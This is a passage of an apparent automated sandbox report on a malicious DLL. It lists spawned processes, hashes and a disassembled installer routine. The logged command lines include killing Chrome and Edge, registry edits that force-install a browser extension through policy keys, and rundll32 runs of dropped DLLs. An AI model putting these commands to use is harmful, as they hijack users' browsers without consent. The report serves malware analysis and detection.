Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:39:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:39:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:39:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\anuwhqTXGt.dll,get
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:39:55
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:39:56
Start date:	23/04/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff66d1b0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:39:56
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:39:56
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:39:56
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:39:57
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:39:57
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",get
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:40:02
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM msedge.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:40:02
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:40:03
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM msedge.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:40:03
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:40:03
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM chrome.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:40:03
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM chrome.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2 /reg:32
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM msedge.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:40:04
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:40:05
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:40:05
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: rundll32.exePID: 7972, Parent PID: 7952

General

Target ID:	33
Start time:	08:40:05
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:40:05
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:40:06
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /IM chrome.exe
Imagebase:	0xbf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:40:06
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:40:06
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:40:06
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:40:07
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main JkoI28tA7 s54VVA9PL
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:40:09
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:40:09
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:40:09
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Imagebase:	0x4a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\Public\fbe\fbegbhf.dll" main
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:40:10
Start date:	23/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main 5l2dLaWBz 8H16fjAVL
Imagebase:	0x7ff6deb60000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	69.7%
Signature Coverage:	19.2%
Total number of Nodes:	1427
Total number of Limit Nodes:	63

Executed Functions

Function 046A1130 Relevance: 119.7, APIs: 51, Strings: 17, Instructions: 660
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008001), ref: 046A1167
GetVersion.KERNEL32 ref: 046A116D
lstrlenA.KERNEL32(UXTHEME), ref: 046A11A4
#17.COMCTL32 ref: 046A11E4
OleInitialize.OLE32(00000000), ref: 046A11EB
SHGetFileInfoW.SHELL32(046DAE40,00000000,?,000002B4,00000000), ref: 046A1207
lstrcpynW.KERNEL32(Wimsys Setup,NSIS Error,00000400), ref: 046A1222
GetCommandLineW.KERNEL32 ref: 046A1224
lstrcpynW.KERNEL32(055BF020,00000000,00000400), ref: 046A123B
GetModuleHandleW.KERNEL32(00000000), ref: 046A123E
CharNextW.USER32(00000000), ref: 046A127B

Part of subcall function 046A314B: GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,046A11B9), ref: 046A3157
Part of subcall function 046A314B: GetProcAddress.KERNEL32(00000000), ref: 046A3174

lstrcpynW.KERNEL32(055BE820,-00000006,00000400), ref: 046A1370
GetTempPathW.KERNEL32(00000400,055BC820), ref: 046A138C
GetWindowsDirectoryW.KERNEL32(055BC820,000003FB), ref: 046A13B1
lstrcatW.KERNEL32(055BC820,\Temp), ref: 046A13C7
GetTempPathW.KERNEL32(000003FC,055BC820), ref: 046A13E2
lstrcatW.KERNEL32(055BC820,Low), ref: 046A13F4
SetEnvironmentVariableW.KERNEL32(TEMP,055BC820), ref: 046A140C
SetEnvironmentVariableW.KERNEL32(TMP,055BC820), ref: 046A141E
DeleteFileW.KERNEL32(055BD020), ref: 046A1438
lstrcpynW.KERNEL32(055BE820,-0000000A,00000400), ref: 046A14D2
lstrcpynW.KERNEL32(055BE020,-0000000A,00000400), ref: 046A14E5
lstrcatW.KERNEL32(055BC820,~nsu), ref: 046A150F
lstrcatW.KERNEL32(055BC820,046DAEC4), ref: 046A1525

Part of subcall function 046A2235: CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,046A10DC,055BC820,046A1393), ref: 046A223A
Part of subcall function 046A2235: GetLastError.KERNEL32 ref: 046A2244

Part of subcall function 046A65E0: OleInitialize.OLE32(00000000), ref: 046A65F0
Part of subcall function 046A65E0: OleUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,046A2007), ref: 046A663C

lstrcatW.KERNEL32(055BC820,.tmp), ref: 046A1537
lstrcmpiW.KERNEL32(055D5820,055D4820), ref: 046A154D
SetCurrentDirectoryW.KERNEL32(055BC820), ref: 046A1582
lstrcpynW.KERNEL32(055D3820,055BD820,00000400), ref: 046A15A6
lstrcpynW.KERNEL32(055C9020,?,00000400), ref: 046A15BB
DeleteFileW.KERNEL32(046E0F90), ref: 046A15F2
CopyFileW.KERNEL32(055BB820,046E0F90,00000001), ref: 046A160E
CloseHandle.KERNEL32(00000000), ref: 046A1649
lstrcatW.KERNEL32(055BD020,04704278), ref: 046A1717
lstrlenW.KERNEL32(Exec,00000000,Exec,00000000), ref: 046A17A3
lstrcmpiW.KERNEL32(-000000FC,.exe), ref: 046A17B9
GetFileAttributesW.KERNEL32(Exec), ref: 046A17C4
lstrcpynW.KERNEL32(055BE820,00000000,00000400), ref: 046A17F2
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040), ref: 046A1835

Part of subcall function 046A2588: CharNextW.USER32(055BF022,055BF020,00000020,046A127A), ref: 046A259D

RegisterClassW.USER32(04709840), ref: 046A1875
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 046A188D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 046A18C2
CloseHandle.KERNEL32(FFFFFFFF), ref: 046A1912
FreeLibrary.KERNEL32(?), ref: 046A193E
GlobalFree.KERNEL32(00000000), ref: 046A1945
OleUninitialize.OLE32 ref: 046A196B
ExitProcess.KERNEL32 ref: 046A1995
GetCurrentProcess.KERNEL32(00000028,?), ref: 046A19AA
OpenProcessToken.ADVAPI32(00000000), ref: 046A19B1
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 046A19C6
AdjustTokenPrivileges.ADVAPI32(?,?,?,00000001,00000000,?), ref: 046A19E9
ExitWindowsEx.USER32(00000002,80040002), ref: 046A1A0F

Strings

.DEFAULT\Control Panel\International, xrefs: 046A16FC
TEMP, xrefs: 046A1407
.tmp, xrefs: 046A152C
NSIS Error, xrefs: 046A1218
~nsu, xrefs: 046A1503
Error writing temporary file. Make sure your temp folder is valid., xrefs: 046A114F
Wimsys Setup, xrefs: 046A121D
_Nb, xrefs: 046A1850, 046A18BC
SeShutdownPrivilege, xrefs: 046A19C0
Control Panel\Desktop\ResourceLocale, xrefs: 046A16C1
.exe, xrefs: 046A17B3
\Temp, xrefs: 046A13BC
Exec, xrefs: 046A1763, 046A176C, 046A177C
Low, xrefs: 046A13E9
UXTHEME, xrefs: 046A1197, 046A11A3
Error launching installer, xrefs: 046A149C
TMP, xrefs: 046A1419

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$lstrcat$File$Handle$DirectoryProcess$CharCloseCreateCurrentDeleteEnvironmentErrorExitFreeInfoInitializeModuleNextPathTempTokenUninitializeVariableWindowslstrcmpilstrlen$AddressAdjustAttributesClassCommandCopyGlobalImageLastLibraryLineLoadLookupModeOpenParametersPrivilegePrivilegesProcRegisterSystemValueVersionWindow
String ID: .DEFAULT\Control Panel\International$.exe$.tmp$Control Panel\Desktop\ResourceLocale$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Exec$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$Wimsys Setup$\Temp$_Nb$~nsu
API String ID: 3576120452-137968867
Opcode ID: 71c6bfbb9ef1dc6fbad63ec5c50960b8cf969d1b266aca74900ec6040664295d
Instruction ID: 443ad771eb8bd70fc81b348c54c8970097f694f091d826550a42f2ac1f45f2bc
Opcode Fuzzy Hash: 71c6bfbb9ef1dc6fbad63ec5c50960b8cf969d1b266aca74900ec6040664295d
Instruction Fuzzy Hash: 1632DCB16017009BE724AFA4DC48BBA37A9FB55708F158029EA45DB380FB78EC91CF54

Uniqueness

Uniqueness Score: -1.00%

Function 046A3488 Relevance: 46.0, APIs: 23, Strings: 3, Instructions: 472
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32 ref: 046A3534
Sleep.KERNEL32(00000001,-00000001,00000000), ref: 046A356C
SetForegroundWindow.USER32(?), ref: 046A357C
ShowWindow.USER32(00000000,02E9C140), ref: 046A3626
ShowWindow.USER32(00000000), ref: 046A363E
SetFileAttributesW.KERNEL32(00000000,?), ref: 046A3655
GetFileAttributesW.KERNEL32(00000000), ref: 046A36C9
lstrcpynW.KERNEL32(055BE020,00000000,00000400), ref: 046A370B
SetCurrentDirectoryW.KERNEL32(00000000), ref: 046A3712
MoveFileW.KERNEL32(00000000,00000000), ref: 046A3772
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,000000E3), ref: 046A37CC
lstrcpynW.KERNEL32(?,-0000002C,00000400), ref: 046A3803
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 046A3822
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,?,?), ref: 046A384B
lstrcpynW.KERNEL32(Exec,00000000,00000400,?,?), ref: 046A38B1
lstrcpynW.KERNEL32(Exec,055BE020,00000400,?,?), ref: 046A38C5
lstrcatW.KERNEL32(00000000,00000000), ref: 046A38D4
CompareFileTime.KERNEL32(-00000014,?,Exec,?,?), ref: 046A3907
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp,00000400), ref: 046A396D
lstrcpynW.KERNEL32(Exec,00000400), ref: 046A397B
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp,00000400), ref: 046A399A

Strings

Exec, xrefs: 046A38A5, 046A38B0, 046A38C4, 046A38DA, 046A3974, 046A3A6C
C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll, xrefs: 046A36EB, 046A377C, 046A37AA, 046A3988, 046A39A7
C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp, xrefs: 046A3967, 046A396C, 046A3993

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$File$PathWindow$AttributesNameShow$CompareCurrentDirectoryForegroundFullMessageMovePostQuitSearchShortSleepTimelstrcat
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp$C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll$Exec
API String ID: 825079545-651839318
Opcode ID: e1a6ed0e0584e1b85cd5d711d2c65692bc901faba418a99cbb9e95b26a7e4ee9
Instruction ID: d33d48f7ca3cf607160bc81355645cbeedd7d1433a2ef7e7805e7baf5f33b339
Opcode Fuzzy Hash: e1a6ed0e0584e1b85cd5d711d2c65692bc901faba418a99cbb9e95b26a7e4ee9
